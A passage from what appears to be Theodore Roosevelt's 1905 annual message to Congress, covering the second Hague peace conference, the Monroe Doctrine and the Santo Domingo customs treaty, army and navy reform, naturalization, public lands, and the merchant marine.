practices acts. Not\nonly should both the National and the several State Legislatures forbid\nany officer of a corporation from using the money of the corporation in\nor about any election, but they should also forbid such use of money in\nconnection with any legislation save by the employment of counsel in\npublic manner for distinctly legal services.The first conference of nations held at The Hague in 1899, being unable\nto dispose of all the business before it, recommended the consideration\nand settlement of a number of important questions by another conference\nto be called subsequently and at an early date. These questions were\nthe following: (1) The rights and duties of neutrals; (2) the\nlimitation of the armed forces on land and sea, and of military\nbudgets; (3) the use of new types and calibres of military and naval\nguns; (4) the inviolability of private property at sea in times of war;\n(5) the bombardment of ports, cities, and villages by naval forces. In\nOctober, 1904, at the instance of the Interparliamentary Union, which,\nat a conference held in the United States, and attended by the\nlawmakers of fifteen different nations, had reiterated the demand for a\nsecond conference of nations, I issued invitations to all the powers\nsignatory to The Hague Convention to send delegates to such a\nconference, and suggested that it be again held at The Hague. In its\nnote of December 16, 1904, the United States Government communicated to\nthe representatives of foreign governments its belief that the\nconference could be best arranged under the provisions of the present\nHague treaty.From all the powers acceptance was received, coupled in some cases with\nthe condition that we should wait until the end of the war then waging\nbetween Russia and Japan. The Emperor of Russia, immediately after the\ntreaty of peace which so happily terminated this war, in a note\npresented to the President on September 13, through Ambassador Rosen,\ntook the initiative in recommending that the conference be now called.\nThe United States Government in response expressed its cordial\nacquiescence, and stated that it would, as a matter of course, take\npart in the new conference and endeavor to further its aims. We assume\nthat all civilized governments will support the movement, and that the\nconference is now an assured fact. This Government will do everything\nin its power to secure the success of the conference, to the end that\nsubstantial progress may be made in the cause of international peace,\njustice, and good will.This renders it proper at this time to say something as to the general\nattitude of this Government toward peace. More and more war is coming\nto be looked upon as in itself a lamentable and evil thing. A wanton or\nuseless war, or a war of mere aggression--in short, any war begun or\ncarried on in a conscienceless spirit, is to be condemned as a\npeculiarly atrocious crime against all humanity. We can, however, do\nnothing of permanent value for peace unless we keep ever clearly in\nmind the ethical element which lies at the root of the problem. Our aim\nis righteousness. Peace is normally the hand-maiden of rightousness;\nbut when peace and righteousness conflict then a great and upright\npeople can never for a moment hesitate to follow the path which leads\ntoward righteousness, even though that path also leads to war. There\nare persons who advocate peace at any price; there are others who,\nfollowing a false analogy, think that because it is no longer necessary\nin civilized countries for individuals to protect their rights with a\nstrong hand, it is therefore unnecessary for nations to be ready to\ndefend their rights. These persons would do irreparable harm to any\nnation that adopted their principles, and even as it is they seriously\nhamper the cause which they advocate by tending to render it absurd in\nthe eyes of sensible and patriotic men. There can be no worse foe of\nmankind in general, and of his own country in particular, than the\ndemagogue of war, the man who in mere folly or to serve his own selfish\nends continually rails at and abuses other nations, who seeks to excite\nhis countrymen against foreigners on insufficient pretexts, who excites\nand inflames a perverse and aggressive national vanity, and who may on\noccasions wantonly bring on conflict between his nation and some other\nnation. But there are demagogues of peace just as there are demagogues\nof war, and in any such movement as this for The Hague conference it is\nessential not to be misled by one set of extremists any more than by\nthe other. Whenever it is possible for a nation or an individual to\nwork for real peace, assuredly it is failure of duty not so to strive,\nbut if war is necessary and righteous then either the man or the nation\nshrinking from it forfeits all title to self-respect. We have scant\nsympathy with the sentimentalist who dreads oppression less than\nphysical suffering, who would prefer a shameful peace to the pain and\ntoil sometimes lamentably necessary in order to secure a righteous\npeace. As yet there is only a partial and imperfect analogy between\ninternational law and internal or municipal law, because there is no\nsanction of force for executing the former while there is in the case\nof the latter. The private citizen is protected in his rights by the\nlaw, because the law rests in the last resort upon force exercised\nthrough the forms of law. A man does not have to defend his rights with\nhis own hand, because he can call upon the police, upon the sheriff's\nposse, upon the militia, or in certain extreme cases upon the army, to\ndefend him. But there is no such sanction of force for international\nlaw. At present there could be no greater calamity than for the free\npeoples, the enlightened, independent, and peace-loving peoples, to\ndisarm while yet leaving it open to any barbarism or despotism to\nremain armed. So long as the world is as unorganized as now the armies\nand navies of those peoples who on the whole stand for justice, offer\nnot only the best, but the only possible, security for a just peace.\nFor instance, if the United States alone, or in company only with the\nother nations that on the whole tend to act justly, disarmed, we might\nsometimes avoid bloodshed, but we would cease to be of weight in\nsecuring the peace of justice--the real peace for which the most\nlaw-abiding and high-minded men must at times be willing to fight. As\nthe world is now, only that nation is equipped for peace that knows how\nto fight, and that will not shrink from fighting if ever the conditions\nbecome such that war is demanded in the name of the highest morality.So much it is emphatically necessary to say in order both that the\nposition of the United States may not be misunderstood, and that a\ngenuine effort to bring nearer the day of the peace of justice among\nthe nations may not be hampered by a folly which, in striving to\nachieve the impossible, would render it hopeless to attempt the\nachievement of the practical. But, while recognizing most clearly all\nabove set forth, it remains our clear duty to strive in every\npracticable way to bring nearer the time when the sword shall not be\nthe arbiter among nations. At present the practical thing to do is to\ntry to minimize the number of cases in which it must be the arbiter,\nand to offer, at least to all civilized powers, some substitute for war\nwhich will be available in at least a considerable number of instances.\nVery much can be done through another Hague conference in this\ndirection, and I most earnestly urge that this Nation do all in its\npower to try to further the movement and to make the result of the\ndecisions of The Hague conference effective. I earnestly hope that the\nconference may be able to devise some way to make arbitration between\nnations the customary way of settling international disputes in all\nsave a few classes of cases, which should themselves be as sharply\ndefined and rigidly limited as the present governmental and social\ndevelopment of the world will permit. If possible, there should be a\ngeneral arbitration treaty negotiated among all the nations represented\nat the conference. Neutral rights and property should be protected at\nsea as they are protected on land. There should be an international\nagreement to this purpose and a similar agreement defining contraband\nof war.During the last century there has been a distinct diminution in the\nnumber of wars between the most civilized nations. International\nrelations have become closer and the development of The Hague tribunal\nis not only a symptom of this growing closeness of relationship, but is\na means by which the growth can be furthered. Our aim should be from\ntime to time to take such steps as may be possible toward creating\nsomething like an organization of the civilized nations, because as the\nworld becomes more highly organized the need for navies and armies will\ndiminish. It is not possible to secure anything like an immediate\ndisarmament, because it would first be necessary to settle what peoples\nare on the whole a menace to the rest of mankind, and to provide\nagainst the disarmament of the rest being turned into a movement which\nwould really chiefly benefit these obnoxious peoples; but it may be\npossible to exercise some check upon the tendency to swell indefinitely\nthe budgets for military expenditure. Of course such an effort could\nsucceed only if it did not attempt to do too much; and if it were\nundertaken in a spirit of sanity as far removed as possible from a\nmerely hysterical pseudo-philanthropy. It is worth while pointing out\nthat since the end of the insurrection in the Philippines this Nation\nhas shown its practical faith in the policy of disarmament by reducing\nits little army one-third. But disarmament can never be of prime\nimportance; there is more need to get rid of the causes of war than of\nthe implements of war.I have dwelt much on the dangers to be avoided by steering clear of any\nmere foolish sentimentality because my wish for peace is so genuine and\nearnest; because I have a real and great desire that this second Hague\nconference may mark a long stride forward in the direction of securing\nthe peace of justice throughout the world. No object is better worthy\nthe attention of enlightened statesmanship than the establishment of a\nsurer method than now exists of securing justice as between nations,\nboth for the protection of the little nations and for the prevention of\nwar between the big nations. To this aim we should endeavor not only to\navert bloodshed, but, above all, effectively to strengthen the forces\nof right. The Golden Rule should be, and as the world grows in morality\nit will be, the guiding rule of conduct among nations as among\nindividuals; though the Golden Rule must not be construed, in fantastic\nmanner, as forbidding the exercise of the police power. This mighty and\nfree Republic should ever deal with all other States, great or small,\non a basis of high honor, respecting their rights as jealously as it\nsafeguards its own.One of the most effective instruments for peace is the Monroe Doctrine\nas it has been and is being gradually developed by this Nation and\naccepted by other nations. No other policy could have been as efficient\nin promoting peace in the Western Hemisphere and in giving to each\nnation thereon the chance to develop along its own lines. If we had\nrefused to apply the doctrine to changing conditions it would now be\ncompletely outworn, would not meet any of the needs of the present day,\nand, indeed, would probably by this time have sunk into complete\noblivion. It is useful at home, and is meeting with recognition abroad\nbecause we have adapted our application of it to meet the growing and\nchanging needs of the hemisphere. When we announce a policy such as the\nMonroe Doctrine we thereby commit ourselves to the consequences of the\npolicy, and those consequences from time to time alter. It is out of\nthe question to claim a right and yet shirk the responsibility for its\nexercise. Not only we, but all American republics who are benefited by\nthe existence of the doctrine, must recognize the obligations each\nnation is under as regards foreign peoples no less than its duty to\ninsist upon its own rights.That our rights and interests are deeply concerned in the maintenance\nof the doctrine is so clear as hardly to need argument. This is\nespecially true in view of the construction of the Panama Canal. As a\nmere matter of self-defense we must exercise a close watch over the\napproaches to this canal; and this means that we must be thoroughly\nalive to our interests in the Caribbean Sea.There are certain essential points which must never be forgotten as\nregards the Monroe Doctrine. In the first place we must as a Nation\nmake it evident that we do not intend to treat it in any shape or way\nas an excuse for aggrandizement on our part at the expense of the\nrepublics to the south. We must recognize the fact that in some South\nAmerican countries there has been much suspicion lest we should\ninterpret the Monroe Doctrine as in some way inimical to their\ninterests, and we must try to convince all the other nations of this\ncontinent once and for all that no just and orderly Government has\nanything to fear from us. There are certain republics to the south of\nus which have already reached such a point of stability, order, and\nprosperity that they themselves, though as yet hardly consciously, are\namong the guarantors of this doctrine. These republics we now meet not\nonly on a basis of entire equality, but in a spirit of frank and\nrespectful friendship, which we hope is mutual. If all of the republics\nto the south of us will only grow as those to which I allude have\nalready grown, all need for us to be the especial champions of the\ndoctrine will disappear, for no stable and growing American Republic\nwishes to see some great non-American military power acquire territory\nin its neighborhood. All that this country desires is that the other\nrepublics on this continent shall be happy and prosperous; and they\ncannot be happy and prosperous unless they maintain order within their\nboundaries and behave with a just regard for their obligations toward\noutsiders. It must be understood that under no circumstances will the\nUnited States use the Monroe Doctrine as a cloak for territorial\naggression. We desire peace with all the world, but perhaps most of all\nwith the other peoples of the American Continent. There are, of course,\nlimits to the wrongs which any self-respecting nation can endure. It is\nalways possible that wrong actions toward this Nation, or toward\ncitizens of this Nation, in some State unable to keep order among its\nown people, unable to secure justice from outsiders, and unwilling to\ndo justice to those outsiders who treat it well, may result in our\nhaving to take action to protect our rights; but such action will not\nbe taken with a view to territorial aggression, and it will be taken at\nall only with extreme reluctance and when it has become evident that\nevery other resource has been exhausted.Moreover, we must make it evident that we do not intend to permit the\nMonroe Doctrine to be used by any nation on this Continent as a shield\nto protect it from the consequences of its own misdeeds against foreign\nnations. If a republic to the south of us commits a tort against a\nforeign nation, such as an outrage against a citizen of that nation,\nthen the Monroe Doctrine does not force us to interfere to prevent\npunishment of the tort, save to see that the punishment does not assume\nthe form of territorial occupation in any shape. The case is more\ndifficult when it refers to a contractual obligation. Our own\nGovernment has always refused to enforce such contractual obligations\non behalf, of its citizens by an appeal to arms. It is much to be\nwished that all foreign governments would take the same view. But they\ndo not; and in consequence we are liable at any time to be brought face\nto face with disagreeable alternatives. On the one hand, this country\nwould certainly decline to go to war to prevent a foreign government\nfrom collecting a just debt; on the other hand, it is very inadvisable\nto permit any foreign power to take possession, even temporarily, of\nthe custom houses of an American Republic in order to enforce the\npayment of its obligations; for such temporary occupation might turn\ninto a permanent occupation. The only escape from these alternatives\nmay at any time be that we must ourselves undertake to bring about some\narrangement by which so much as possible of a just obligation shall be\npaid. It is far better that this country should put through such an\narrangement, rather than allow any foreign country to undertake it. To\ndo so insures the defaulting republic from having to pay debt of an\nimproper character under duress, while it also insures honest creditors\nof the republic from being passed by in the interest of dishonest or\ngrasping creditors. Moreover, for the United States to take such a\nposition offers the only possible way of insuring us against a clash\nwith some foreign power. The position is, therefore, in the interest of\npeace as well as in the interest of justice. It is of benefit to our\npeople; it is of benefit to foreign peoples; and most of all it is\nreally of benefit to the people of the country concerned.This brings me to what should be one of the fundamental objects of the\nMonroe Doctrine. We must ourselves in good faith try to help upward\ntoward peace and order those of our sister republics which need such\nhelp. Just as there has been a gradual growth of the ethical element in\nthe relations of one individual to another, so we are, even though\nslowly, more and more coming to recognize the duty of bearing one\nanother's burdens, not only as among individuals, but also as among\nnations.Santo Domingo, in her turn, has now made an appeal to us to help her,\nand not only every principle of wisdom but every generous instinct\nwithin us bids us respond to the appeal. It is not of the slightest\nconsequence whether we grant the aid needed by Santo Domingo as an\nincident to the wise development of the Monroe Doctrine or because we\nregard the case of Santo Domingo as standing wholly by itself, and to\nbe treated as such, and not on general principles or with any reference\nto the Monroe Doctrine. The important point is to give the needed aid,\nand the case is certainly sufficiently peculiar to deserve to be judged\npurely on its own merits. The conditions in Santo Domingo have for a\nnumber of years grown from bad to worse until a year ago all society\nwas on the verge of dissolution. Fortunately, just at this time a ruler\nsprang up in Santo Domingo, who, with his colleagues, saw the dangers\nthreatening their country and appealed to the friendship of the only\ngreat and powerful neighbor who possessed the power, and as they hoped\nalso the will to help them. There was imminent danger of foreign\nintervention. The previous rulers of Santo Domingo had recklessly\nincurred debts, and owing to her internal disorders she had ceased to\nbe able to provide means of paying the debts. The patience of her\nforeign creditors had become exhausted, and at least two foreign\nnations were on the point of intervention, and were only prevented from\nintervening by the unofficial assurance of this Government that it\nwould itself strive to help Santo Domingo in her hour of need. In the\ncase of one of these nations, only the actual opening of negotiations\nto this end by our Government prevented the seizure of territory in\nSanto Domingo by a European power. Of the debts incurred some were\njust, while some were not of a character which really renders it\nobligatory on or proper for Santo Domingo to pay them in full. But she\ncould not pay any of them unless some stability was assured her\nGovernment and people.Accordingly, the Executive Department of our Government negotiated a\ntreaty under which we are to try to help the Dominican people to\nstraighten out their finances. This treaty is pending before the\nSenate. In the meantime a temporary arrangement has been made which\nwill last until the Senate has had time to take action upon the treaty.\nUnder this arrangement the Dominican Government has appointed Americans\nto all the important positions in the customs service and they are\nseeing to the honest collection of the revenues, turning over 45 per\ncent. to the Government for running expenses and putting the other 55\nper cent. into a safe depository for equitable division in case the\ntreaty shall be ratified, among the various creditors, whether European\nor American.The Custom Houses offer well-nigh the only sources of revenue in Santo\nDomingo, and the different revolutions usually have as their real aim\nthe obtaining of these Custom Houses. The mere fact that the Collectors\nof Customs are Americans, that they are performing their duties with\nefficiency and honesty, and that the treaty is pending in the Senate\ngives a certain moral power to the Government of Santo Domingo which it\nhas not had before. This has completely discouraged all revolutionary\nmovement, while it has already produced such an increase in the\nrevenues that the Government is actually getting more from the 45 per\ncent. that the American Collectors turn over to it than it got formerly\nwhen it took the entire revenue. It is enabling the poor, harassed\npeople of Santo Domingo once more to turn their attention to industry\nand to be free from the cure of interminable revolutionary disturbance.\nIt offers to all bona-fide creditors, American and European, the only\nreally good chance to obtain that to which they are justly entitled,\nwhile it in return gives to Santo Domingo the only opportunity of\ndefense against claims which it ought not to pay, for now if it meets\nthe views of the Senate we shall ourselves thoroughly examine all these\nclaims, whether American or foreign, and see that none that are\nimproper are paid. There is, of course, opposition to the treaty from\ndishonest creditors, foreign and American, and from the professional\nrevolutionists of the island itself. We have already reason to believe\nthat some of the creditors who do not dare expose their claims to\nhonest scrutiny are endeavoring to stir up sedition in the island and\nopposition to the treaty. In the meantime, I have exercised the\nauthority vested in me by the joint resolution of the Congress to\nprevent the introduction of arms into the island for revolutionary\npurposes.Under the course taken, stability and order and all the benefits of\npeace are at last coming to Santo Domingo, danger of foreign\nintervention has been suspended, and there is at last a prospect that\nall creditors will get justice, no more and no less. If the arrangement\nis terminated by the failure of the treaty chaos will follow; and if\nchaos follows, sooner or later this Government may be involved in\nserious difficulties with foreign Governments over the island, or else\nmay be forced itself to intervene in the island in some unpleasant\nfashion. Under the proposed treaty the independence of the island is\nscrupulously respected, the danger of violation of the Monroe Doctrine\nby the intervention of foreign powers vanishes, and the interference of\nour Government is minimized, so that we shall only act in conjunction\nwith the Santo Domingo authorities to secure the proper administration\nof the customs, and therefore to secure the payment of just debts and\nto secure the Dominican Government against demands for unjust debts.\nThe proposed method will give the people of Santo Domingo the same\nchance to move onward and upward which we have already given to the\npeople of Cuba. It will be doubly to our discredit as a Nation if we\nfail to take advantage of this chance; for it will be of damage to\nourselves, and it will be of incalculable damage to Santo Domingo.\nEvery consideration of wise policy, and, above all, every consideration\nof large generosity, bids us meet the request of Santo Domingo as we\nare now trying to meet it.We cannot consider the question of our foreign policy without at the\nsame time treating of the Army and the Navy. We now have a very small\narmy indeed, one well-nigh infinitesimal when compared With the army of\nany other large nation. Of course the army we do have should be as\nnearly perfect of its kind and for its size as is possible. I do not\nbelieve that any army in the world has a better average of enlisted men\nor a better type of junior officer; but the army should be trained to\nact effectively in a mass. Provision should be made by sufficient\nappropriations for manoeuvers of a practical kind, so that the troops\nmay learn how to take care of themselves under actual service\nconditions; every march, for instance, being made with the soldier\nloaded exactly as he would be in active campaign. The Generals and\nColonels would thereby have opportunity of handling regiments,\nbrigades, and divisions, and the commissary and medical departments\nwould be tested in the field. Provision should be made for the exercise\nat least of a brigade and by preference of a division in marching and\nembarking at some point on our coast and disembarking at some other\npoint and continuing its march. The number of posts in which the army\nis kept in time of peace should be materially diminished and the posts\nthat are left made correspondingly larger. No local interests should be\nallowed to stand in the way of assembling the greater part of the\ntroops which would at need form our field armies in stations of such\nsize as will permit the best training to be given to the personnel of\nall grades, including the high officers and staff officers. To\naccomplish this end we must have not company or regimental garrisons,\nbut brigade and division garrisons. Promotion by mere seniority can\nnever result in a thoroughly efficient corps of officers in the higher\nranks unless there accompanies it a vigorous weeding-out process. Such\na weeding-out process--that is, such a process of selection--is a chief\nfeature of the four years' course of the young officer at West Point.\nThere is no good reason why it should stop immediately upon his\ngraduation. While at West Point he is dropped unless he comes up to a\ncertain standard of excellence, and when he graduates he takes rank in\nthe army according to his rank of graduation. The results are good at\nWest Point; and there should be in the army itself something that will\nachieve the same end. After a certain age has been reached the average\nofficer is unfit to do good work below a certain grade. Provision\nshould be made for the promotion of exceptionally meritorious men over\nthe heads of their comrades and for the retirement of all men who have\nreached a given age without getting beyond a given rank; this age of\nretirement of course changing from rank to rank. In both the army and\nthe navy there should be some principle of selection, that is, of\npromotion for merit, and there should be a resolute effort to eliminate\nthe aged officers of reputable character who possess no special\nefficiency.There should be an increase in the coast artillery force, so that our\ncoast fortifications can be in some degree adequately manned. There is\nspecial need for an increase and reorganization of the Medical\nDepartment of the army. In both the army and navy there must be the\nsame thorough training for duty in the staff corps as in the fighting\nline. Only by such training in advance can we be sure that in actual\nwar field operations and those at sea will be carried on successfully.\nThe importance of this was shown conclusively in the Spanish-American\nand the Russo-Japanese wars. The work of the medical departments in the\nJapanese army and navy is especially worthy of study. I renew my\nrecommendation of January 9, 1905, as to the Medical Department of the\narmy and call attention to the equal importance of the needs of the\nstaff corps of the navy. In the Medical Department of the navy the\nfirst in importance is the reorganization of the Hospital Corps, on the\nlines of the Gallinger bill, (S. 3,984, February 1, 1904), and the\nreapportionment of the different grades of the medical officers to meet\nservice requirements. It seems advisable also that medical officers of\nthe army and navy should have similar rank and pay in their respective\ngrades, so that their duties can be carried on without friction when\nthey are brought together. The base hospitals of the navy should be put\nin condition to meet modern requirements and hospital ships be\nprovided. Unless we now provide with ample forethought for the medical\nneeds of the army and navy appalling suffering of a preventable kind is\nsure to occur if ever the country goes to war. It is not reasonable to\nexpect successful administration in time of war of a department which\nlacks a third of the number of officers necessary to perform the\nmedical service in time of peace. We need men who are not merely\ndoctors; they must be trained in the administration of military medical\nservice.Our navy must, relatively to the navies of other nations, always be of\ngreater size than our army. We have most wisely continued for a number\nof years to build up our navy, and it has now reached a fairly high\nstandard of efficiency. This standard of efficiency must not only be\nmaintained, but increased. It does not seem to be necessary, however,\nthat the navy should--at least in the immediate future--be increased\nbeyond the present number of units. What is now clearly necessary is to\nsubstitute efficient for inefficient units as the latter become worn\nout or as it becomes apparent that they are useless. Probably the\nresult would be attained by adding a single battleship to our navy each\nyear, the superseded or outworn vessels being laid up or broken up as\nthey are thus replaced. The four single-turret monitors built\nimmediately after the close of the Spanish war, for instance, are\nvessels which would be of but little use in the event of war. The money\nspent upon them could have been more usefully spent in other ways. Thus\nit would have been far better never to have built a single one of these\nmonitors and to have put the money into an ample supply of reserve\nguns. Most of the smaller cruisers and gunboats, though they serve a\nuseful purpose so far as they are needed for international police work,\nwould not add to the strength of our navy in a conflict with a serious\nfoe. There is urgent need of providing a large increase in the number\nof officers, and especially in the number of enlisted men.Recent naval history has emphasized certain lessons which ought not to,\nbut which do, need emphasis. Seagoing torpedo boats or destroyers are\nindispensable, not only for making night attacks by surprise upon an\nenemy, but even in battle for finishing already crippled ships. Under\nexceptional circumstances submarine boats would doubtless be of use.\nFast scouts are needed. The main strength of the navy, however, lies,\nand can only lie, in the great battleships, the heavily armored,\nheavily gunned vessels which decide the mastery of the seas.\nHeavy-armed cruisers also play a most useful part, and unarmed\ncruisers, if swift enough, are very useful as scouts. Between\nantagonists of approximately equal prowess the comparative perfection\nof the instruments of war will ordinarily determine the fight. But it\nis, of course, true that the man behind the gun, the man in the engine\nroom, and the man in the conning tower, considered not only\nindividually, but especially with regard to the way in which they work\ntogether, are even more important than the weapons with which they\nwork. The most formidable battleship is, of course, helpless against\neven a light cruiser if the men aboard it are unable to hit anything\nwith their guns, and thoroughly well-handled cruisers may count\nseriously in an engagement with much superior vessels, if the men\naboard the latter are ineffective, whether from lack of training or\nfrom any other cause. Modern warships are most formidable mechanisms\nwhen well handled, but they are utterly useless when not well handled,\nand they cannot be handled at all without long and careful training.\nThis training can under no circumstance be given when once war has\nbroken out. No fighting ship of the first class should ever be laid up\nsave for necessary repairs, and her crew should be kept constantly\nexercised on the high seas, so that she may stand at the highest point\nof perfection. To put a new and untrained crew upon the most powerful\nbattleship and send it out to meet a formidable enemy is not only to\ninvite, but to insure, disaster and disgrace. To improvise crews at the\noutbreak of a war, so far as the serious fighting craft are concerned,\nis absolutely hopeless. If the officers and men are not thoroughly\nskilled in, and have not been thoroughly trained to, their duties, it\nwould be far better to keep the ships in port during hostilities than\nto send them against a formidable opponent, for the result could only\nbe that they would be either sunk or captured. The marksmanship of our\nnavy is now on the whole in a gratifying condition, and there has been\na great improvement in fleet practice. We need additional seamen; we\nneed a large store of reserve guns; we need sufficient money for ample\ntarget practice, ample practice of every kind at sea. We should\nsubstitute for comparatively inefficient types--the old third-class\nbattleship Texas, the single-turreted monitors above mentioned, and,\nindeed, all the monitors and some of the old cruisers--efficient,\nmodern seagoing vessels. Seagoing torpedo-boat destroyers should be\nsubstituted for some of the smaller torpedo boats. During the present\nCongress there need be no additions to the aggregate number of units of\nthe navy. Our navy, though very small relatively to the navies of other\nnations, is for the present sufficient in point of numbers for our\nneeds, and while we must constantly strive to make its efficiency\nhigher, there need be no additions to the total of ships now built and\nbuilding, save in the way of substitution as above outlined. I\nrecommend the report of the Secretary of the Navy to the careful\nconsideration of the Congress, especially with a view to the\nlegislation therein advocated.During the past year evidence has accumulated to confirm the\nexpressions contained in my last two annual messages as to the\nimportance of revising by appropriate legislation our system of\nnaturalizing aliens. I appointed last March a commission to make a\ncareful examination of our naturalization laws, and to suggest\nappropriate measures to avoid the notorious abuses resulting from the\nimprovident of unlawful granting of citizenship. This commission,\ncomposed of an officer of the Department of State, of the Department of\nJustice, and of the Department of Commerce and Labor, has discharged\nthe duty imposed upon it, and has submitted a report, which will be\ntransmitted to the Congress for its consideration, and, I hope, for its\nfavor, able action.The distinguishing recommendations of the commission are:First--A Federal Bureau of Naturalization, to be established in the\nDepartment of Commerce and Labor, to supervise the administration of\nthe naturalization laws and to receive returns of naturalizations\npending and accomplished.Second--Uniformity of naturalization certificates, fees to be charged,\nand procedure.Third--More exacting qualifications for citizenship.Fourth--The preliminary declaration of intention to be abolished and no\nalien to be naturalized until at least ninety days after the filing of\nhis petition.Fifth--Jurisdiction to naturalize aliens to be confined to United\nStates district courts and to such State courts as have jurisdiction in\ncivil actions in which the amount in controversy is unlimited; in\ncities of over 100,000 inhabitants the United States district courts to\nhave exclusive jurisdiction in the naturalization of the alien\nresidents of such cities.In my last message I asked the attention of the Congress to the urgent\nneed of action to make our criminal law more effective; and I most\nearnestly request that you pay heed to the report of the Attorney\nGeneral on this subject. Centuries ago it was especially needful to\nthrow every safeguard round the accused. The danger then was lest he\nshould be wronged by the State. The danger is now exactly the reverse.\nOur laws and customs tell immensely in favor of the criminal and\nagainst the interests of the public he has wronged. Some antiquated and\noutworn rules which once safeguarded the threatened rights of private\ncitizens, now merely work harm to the general body politic. The\ncriminal law of the United States stands in urgent need of revision.\nThe criminal process of any court of the United States should run\nthroughout the entire territorial extent of our country. The delays of\nthe criminal law, no less than of the civil, now amount to a very great\nevil.There seems to be no statute of the United States which provides for\nthe punishment of a United States Attorney or other officer of the\nGovernment who corruptly agrees to wrongfully do or wrongfully refrain\nfrom doing any act when the consideration for such corrupt agreement is\nother than one possessing money value. This ought to be remedied by\nappropriate legislation. Legislation should also be enacted to cover\nexplicitly, unequivocally, and beyond question breach of trust in the\nshape of prematurely divulging official secrets by an officer or\nemploye of the United States, and to provide a suitable penalty\ntherefor. Such officer or employe owes the duty to the United States to\nguard carefully and not to divulge or in any manner use, prematurely,\ninformation which is accessible to the officer or employe by reason of\nhis official position. Most breaches of public trust are already\ncovered by the law, and this one should be. It is impossible, no matter\nhow much care is used, to prevent the occasional appointment to the\npublic service of a man who when tempted proves unfaithful; but every\nmeans should be provided to detect and every effort made to punish the\nwrongdoer. So far as in my power see each and every such wrongdoer\nshall be relentlessly hunted down; in no instance in the past has he\nbeen spared; in no instance in the future shall he be spared. His crime\nis a crime against every honest man in the Nation, for it is a crime\nagainst the whole body politic. Yet in dwelling on such misdeeds it is\nunjust not to add that they are altogether exceptional, and that on the\nwhole the employes of the Government render upright and faithful\nservice to the people. There are exceptions, notably in one or two\nbranches of the service, but at no time in the Nation's history has the\npublic service of the Nation taken as a whole stood on a higher plane\nthan now, alike as regards honesty and as regards efficiency.Once again I call your attention to the condition of the public land\nlaws. Recent developments have given new urgency to the need for such\nchanges as will fit these laws to actual present conditions. The honest\ndisposal and right use of the remaining public lands is of fundamental\nimportance. The iniquitous methods by which the monopolizing of the\npublic lands is being brought about under the present laws are becoming\nmore generally known, but the existing laws do not furnish effective\nremedies. The recommendations of the Public Lands Commission upon this\nsubject are wise and should be given effect.The creation of small irrigated farms under the Reclamation act is a\npowerful offset to the tendency of certain other laws to foster or\npermit monopoly of the land. Under that act the construction of great\nirrigation works has been proceeding rapidly and successfully, the\nlands reclaimed are eagerly taken up, and the prospect that the policy\nof National irrigation will accomplish all that was expected of it is\nbright. The act should be extended to include the State of Texas.The Reclamation act derives much of its value from the fact that it\ntends to secure the greatest possible number of homes on the land, and\nto create communities of freeholders, in part by settlement on public\nlands, in part by forcing the subdivision of large private holdings\nbefore they can get water from Government irrigation works. The law\nrequires that no right to the use of water for land in private\nownership shall be sold for a tract exceeding 160 acres to any one land\nowner. This provision has excited active and powerful hostility, but\nthe success of the law itself depends on the wise and firm enforcement\nof it. We cannot afford to substitute tenants for freeholders on the\npublic domain.The greater part of the remaining public lands can not be irrigated.\nThey are at present and will probably always be of greater value for\ngrazing than for any other purpose. This fact has led to the grazing\nhomestead of 640 acres in Nebraska and to the proposed extension of it\nto other States. It is argued that a family can not be supported on 160\nacres of arid grazing land. This is obviously true, but neither can a\nfamily be supported on 640 acres of much of the land to which it is\nproposed to apply the grazing homestead. To establish universally any\nsuch arbitrary limit would be unwise at the present time. It would\nprobably result on the one hand in enlarging the holdings of some of\nthe great land owners, and on the other in needless suffering and\nfailure on the part of a very considerable proportion of the bona fide\nsettlers who give faith to the implied assurance of the Government that\nsuch an area is sufficient. The best use of the public grazing lands\nrequires the careful examination and classification of these lands in\norder to give each settler land enough to support his family and no\nmore. While this work is being done, and until the lands are settled,\nthe Government should take control of the open range, under reasonable\nregulations suited to local needs, following the general policy already\nin successful operation on the forest reserves. It is probable that the\npresent grazing value of the open public range is scarcely more than\nhalf what it once was or what it might easily be again under careful\nregulation.The forest policy of the Administration appears to enjoy the unbroken\nsupport of the people. The great users of timber are themselves\nforwarding the movement for forest preservation. All organized\nopposition to the forest preserves in the West has disappeared. Since\nthe consolidation of all Government forest work in the National Forest\nService there has been a rapid and notable gain in the usefulness of\nthe forest reserves to the people and in public appreciation of their\nvalue. The National parks within or adjacent to forest reserves should\nbe transferred to the charge of the Forest Service also.The National Government already does something in connection with the\nconstruction and maintenance of the great system of levees along the\nlower course of the Mississippi; in my judgment it should do much more.To the spread of our trade in peace and the defense of our flag in war\na great and prosperous merchant marine is indispensable. We should have\nships of our own and seamen of our own to convey our goods to neutral\nmarkets, and in case of need to reinforce our battle line. It cannot\nbut be a source of regret and uneasiness to us that the lines of\ncommunication with our sister republics of South America should be\nchiefly under foreign control. It is not a good thing that American\nmerchants and manufacturers should have to send their goods and letters\nto South America via Europe if they wish security and dispatch. Even on\nthe Pacific, where our ships have held their own better than on the\nAtlantic, our merchant flag is now threatened through the liberal aid\nbestowed by other Governments on their own steam lines. I ask your\nearnest consideration of the report with which the Merchant Marine\nCommission has followed its long and careful inquiry.I again heartily commend to your favorable consideration the\ntercentennial celebration at Jamestown, Va. Appreciating the\ndesirability of this commemoration, the Congress passed an act, March\n3, 1905, authorizing in the year 1907, on and near the waters of\nHampton Roads, in the State of Virginia, an international naval,\nmarine, and military celebration in honor of this event. By the\nauthority vested in me by this act, I have made proclamation of said\ncelebration, and have issued, in conformity with its instructions,\ninvitations to all the nations of the earth to participate, by sending\ntheir naval vessels and such military organizations as may be\npracticable. This celebration would fail of its full purpose unless it\nwere enduring in its results and commensurate with the importance of\nthe event to be celebrated, the event from which our Nation dates its\nbirth. I earnestly hope that this celebration, already indorsed by the\nCongress of the United States, and by the Legislatures of sixteen\nStates since the action of the Congress, will receive such additional\naid at your hands as will make it worthy of the great event it is\nintended to celebrate, and thereby enable the Government of the United\nStates to make provision for the exhibition of its own resources, and\nlikewise enable our people who have undertaken the work of such a\ncelebration to provide suitable and proper entertainment and\ninstruction in the historic events of our country for all who may visit\nthe exposition and to whom we have tendered our hospitality.It is a matter of unmixed satisfaction once more to call attention to\nthe excellent work of the Pension Bureau; for the veterans of the civil\nwar have a greater claim upon us than any other class of our citizens.\nTo them, first of all among our people, honor is due.Seven years ago my lamented predecessor, President McKinley, stated\nthat the time had come for the Nation to care for the graves of the\nConfederate dead. I recommend that the Congress take action toward this\nend. The first need is to take charge of the graves of the Confederate\ndead who died in Northern prisons.The question of immigration is of vital interest to this country. In\nthe year ending June 30, 1905, there came to the United States\n1,026,000 alien immigrants. In other words, in the single 